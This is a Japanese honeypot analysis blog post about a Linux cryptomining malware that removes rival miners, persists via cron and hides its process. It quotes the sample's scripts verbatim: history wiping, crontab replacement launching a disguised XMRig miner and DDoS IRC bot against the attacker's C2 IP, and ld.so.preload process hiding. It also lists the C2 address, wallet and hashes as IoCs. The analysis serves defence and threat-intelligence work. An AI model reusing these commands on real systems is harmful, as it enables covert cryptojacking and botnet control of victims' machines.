はじめに
こんにちは。アクティブディフェンス研究所 学生アルバイトの紫関麗王(@n01e0)と申します。今回は弊社が設置しているハニーポットにて最近観測された斬新な構成のmining malwareについてご紹介します。背景
時は202X年、不正な仮想通貨マイニング攻撃は増加の一途を辿り、攻撃者の間ではインターネット上の脆弱なリソースを巡る争奪戦が起こっていた。そんな中、あるアクターは革新的な手法を思いつく。
「既存の除去ツールを使って更地にしてしまえば独占できるのでは...?」
弊社が設置したハニーポットて観測された、そんな手法を用いて実装された検体の解析結果をまとめる。
他人のマシンで戦うな。
概要
アーカイブが展開された後の主な挙動は
- 競合マイナーの除去
- crontabによるマイナー及びDDoS PerlBotの永続化
- shared-objectによるマイナーのprocess hiding
GitHub上で公開されている既存のscriptを用いて整地を行います。
マイナーとC2をcrontabによって再起動後も実行されるようにします。
マイニングにはXMRigを使用し、XMR(モネロ)の採掘を行います。
ここでもGitHub上で公開されているコードを用いてps等のコマンドからマイナー本体を隠します。
タイトルはこれらの整地(Terra forming)、永続化、秘匿の性質から付けました。
構成
アーカイブは.logs
以下に展開されます
: directory
config.json: ASCII text
cron: ASCII text
cron.d: ASCII text
dir.dir: ASCII text
init: POSIX shell script, ASCII text executable
install: ASCII text
prchid: ASCII text
prchid.c: C source, ASCII text
python.txt: ASCII text, with very long lines
sftp-server: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, missing section headers
SHA256SUMS: ASCII text
xmrig-notls: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=67f66d47179eb1c184ddfac9b895e76da2110af8, stripped
この中で実際の活動に使用される重要なファイルは以下の9種です。
config.json
cron
cron.d
init
install
prchid
prchid.c
python.txt
sftp-server
install
#Let`s go
set +o history
history -c
sleep 1
chmod +x *
./init
./cron
./prchid
echo "Blana de urs"
1st payload.
まずは操作履歴を残さないようにした上で、既に残されている履歴を消去します。
展開されたすべてのファイルに実行権限を付け、
- init
競合マイナーの排除
- cron
XMRig、DDoS PerlBotの永続化
- prchid
XMRigのプロセスを隠す
の順で実行します。
init
MinerKiller.shマイナーの除去ツール
競合することになる他のコインマイナーを先にシステム上から削除します。
GitHub上のコードをそのまま使っているわけではなく、微妙にコードが追加されており、嬉しいことに(?)更に強力な除去ツールになっています。
cron
pwd > dir.dir
dir=$(cat dir.dir)
crontab -r
cd $dir
chmod 777 *
rm -rf cron.d
cd $dir
nohup ./sftp-server -o 51.195.26.217:3333 -u Prinse -p Prinse >> /dev/null &
sleep 5s
nohup perl python.txt >>/dev/null &
#* */12 * * *
echo "@reboot $dir/sftp-server -o 51.195.26.217:3333 -u Prinse -p Prinse >>/dev/null 2>&1
0 0 */3 * * perl $dir/pyton.txt 2>&1" >> cron.d
sleep 3s
crontab cron.d
crontab -l
echo "PORNIT!"
マイナー
cronで実行されるsftp-serverがマイニングを行うxmrig本体(version 5.5.1)です。
$ ./sftp-server --version
XMRig 5.5.1
built on Jan 12 2020 with GCC 5.4.0
features: 64-bit AES
libuv/1.34.0
OpenSSL/1.1.1d
hwloc/2.1.0
xmrig-notlsとsftp-serverは、CFG等の特徴がかなり類似しています。
一方、xmrig-notlsは、名前の通りOpenSSLに依存していないようです。
$ ./xmrig-notls --version
XMRig 5.5.1
built on Jan 12 2020 with GCC 5.4.0
features: 64-bit AES
libuv/1.34.0
hwloc/2.1.0
これらの特徴から、おそらく違いはビルドオプション(-DWITH_TLS=OFF)だと想像できます。
DDoS PerlBot
また、python.txtはPerlスクリプトで、base64でエンコードされたDDoS PerlBotを実行します。
このプロセスは
/usr/sbin/apache2 -k startに偽装してC2(IRC)に接続し、命令を受け取ります
- 接続先
51[.]195.26.217:6667
- チャンネル
#vuln
公開されているものとの差分はほぼ無く、変更点は接続先等でコマンドの追加などもありません。
ポートスキャン、DDoS、シェル実行などの機能があり、このDDoS PerlBotは他の検体でも広く使われているのを確認しています。
prchid
GitHub - gianlucaborello/libprocesshider: Hide a process under Linux using the ld preloader
readdirとreaddir64を自作の関数でhookし、/proc上のsftp-sreverに関するファイルを読めないようにするコードです。
sed -i 's|evil_script.py|sftp-server|g' prchid.c
gcc -Wall -fPIC -shared -o libprocesshider.so prchid.c -ldl
mv libprocesshider.so /usr/local/lib/
echo /usr/local/lib/libprocesshider.so >> /etc/ld.so.preload
rm -f prchid.c
ここではDDoS PerlBot(プロセス名 /usr/sbin/apache2)は隠されていません。
作成された共有ライブラリは/etc/ld.so.preloadに置かれるため、ldはデフォルトでロードしてしまいます。
これにより、ps等のコマンドによるマルウェアの発見が困難になります。
設定
xmrigの設定ファイル(config.json) 一部抜粋
"pools": [
{
"algo": null,
"coin": null,
"url": "donate.v2.xmrig.com:3333",
"user": "44j3JhCPKGVCMhfceDnwFLSHrs86B1vjnLQkWaSmvVxvSKzjVt4ZLqmDQszCr44KbGfto6d36CkReNw4tbDAZWy64EcRdiy",
"pass": "x",
"rig-id": null,
"nicehash": false,
"keepalive": false,
"enabled": true,
"tls": false,
"tls-fingerprint": null,
"daemon": false,
"self-select": null
}
],
ここでwalletのアドレスが指定されています。
cronや設定ファイルから分かる送付先の情報は以下の通りです。
user: Prinse
pass: Prinse
pool: 51[.]195.26.217:3333
addr: 44j3JhCPKGVCMhfceDnwFLSHrs86B1vjnLQkWaSmvVxvSKzjVt4ZLqmDQszCr44KbGfto6d36CkReNw4tbDAZWy64EcRdiy
おわりに
更地にした上で自分のマイナーを置くことで独占したい攻撃者の心理は理解できるが、その方法として既存の除去ツールを(より強化して)使うアイデアには関心しました。
IoC
51[.]195.26.217:3333
44j3JhCPKGVCMhfceDnwFLSHrs86B1vjnLQkWaSmvVxvSKzjVt4ZLqmDQszCr44KbGfto6d36CkReNw4tbDAZWy64EcRdiy
evil_script.py
DDoS PerlBot v1.0
dauPORNO
dauPORNO.eu
現在確認している類似した検体の一覧(sha256sum)
053a265612ee0a5884fdfa84a6f54c4bcf69ea4ee260c530c1e5036f86f7bd45 07acb67bd5e7db03bf9034fee2d75a82e58037552f78d2879d0977cd6818beb9 1200075fc715014c0de834eb44b6c19740b7bea7292a11ea6878533f0dd27e1d 14247c0d0e80554e2f4fe77bdfa6d30cab285d28aa6fe7e9ecb59271881f0d7b 1605bddae7296cf98c88ca864811041447d4e2494d0fa71d5ac70c1b8a0c08c9 18411e7eedfaf49eb9518d41b5257c9d806cec9bcc68fd13a43779128632e561 184739150b385e26c042b85df214aa1a5de54576f7b2f2757c48be4ff7342942 2fd6239e7abe744851924411ec905e1441bfbb81dcd8575eaabafd3a979e2213 361f6ec311f132fe808f654c45694485d811d8a3b692da10e4d053039c7c44bb 38517d9bb1c2846652f44ae63fd05b64c263760cd4683ab53573e208555d3b03 3e6f3c3875c8602e59c4682b934b9b6eb2279daf7b14e75d862d9e052822d85e 462f32ae969ae080f89df2b629cbefcd4dab9633344aeb86bdc556a375c88580 4a47840174c2ea86a57cca17f95f093a656aaf29aa8b21685819f8f98b84397b 508271b05bd9cd11228e14920d0d9d1d5bfaa68ffaf942eb41787bf500a64aa4 6699dce573333fd11e94a8d0b2b75f6b584d0350aa406e83ebe36a8614c6e6c0 737b52a90014f6a9236c8d4292e37926350acf71383aaabbe7f3584810a1dc97 79c1fd95d9c44c190311e5095dc03bac248c33e7165b0ed44f0789e98e28e7e2 8939a6fd0f366083221b4840ebde52a49da29c625d87f08f4b26a4a54c45d4da 975d901a949c06070b682e5951cd16d76718cff26ddd753f1d8df73d95d9636c a0cbce2c74b911f9b2a58571495746fea49ba641473071615020c5deaad6ce9a a02d9913952851ce8e24c4aa5b39eacde3a1b9f1319806b75dbadd76e41db2eb a24d8f9ae67acdc8d204d53afd989f61b65499525adb256a40d71430944b897c a58fe8e077e48ae1392dd2207cf3346cd1134be06011b8145c90e337329a99e8 a3075f60d23aa8634a7092ca875a6105a3d3b727ce5f3c85a2693d55b7b97ecb b23f112d6e96c5977d1ac9929ad76b6674fff3c85a9ae26074e4cdeac099ae0e b706d8c7a18f23a820bc101530db6004211d39c6546b679d1a3a05a92d76fd10 b9310e77bfb4e8f32e4711b227bdcf22847f04c8459e3d9daf9f6d26f95c5407 bc9326ff94f4477e9d1592bc9f277f3b7823be0c734a6139461c683be4d2a141 caabfc347a8c0633b60ceb9c4dbc2c188132bc7c8e64b4ae0aa62d4bf9e9c839 d80f2bb2e725ae22f027055b63bc567f2761b0911501ef84d31ff606c108f3f5 dac46519a1adc475310335f2d1eca4a92b633050e6e57b1e984c70735d2cafec e5f10d59c989793fdc8cfa292f9e3dc4c664397148b2225fd3a6ec28ca8cb612 eb629b6b6c80a30b232a1d5dcb462960ef0d5032dddff101dc087262003fbab4 f2ae9e5070fe9de75b1209f304853310bb14480e0615b8f7a44e49dc81fc0a8a f4b2f6fdd95a02b10915d966f79c50053cd8f9c5ad723ad687fbe02c8ddd796e f4d968c7e64b5dfdccb21a5b7d79876d896c46ad6607e44ede3efb073a4805c8 f651b437d7d45720596bb1952b9f4dd55cb94885101887c487f5bdf6df24c9de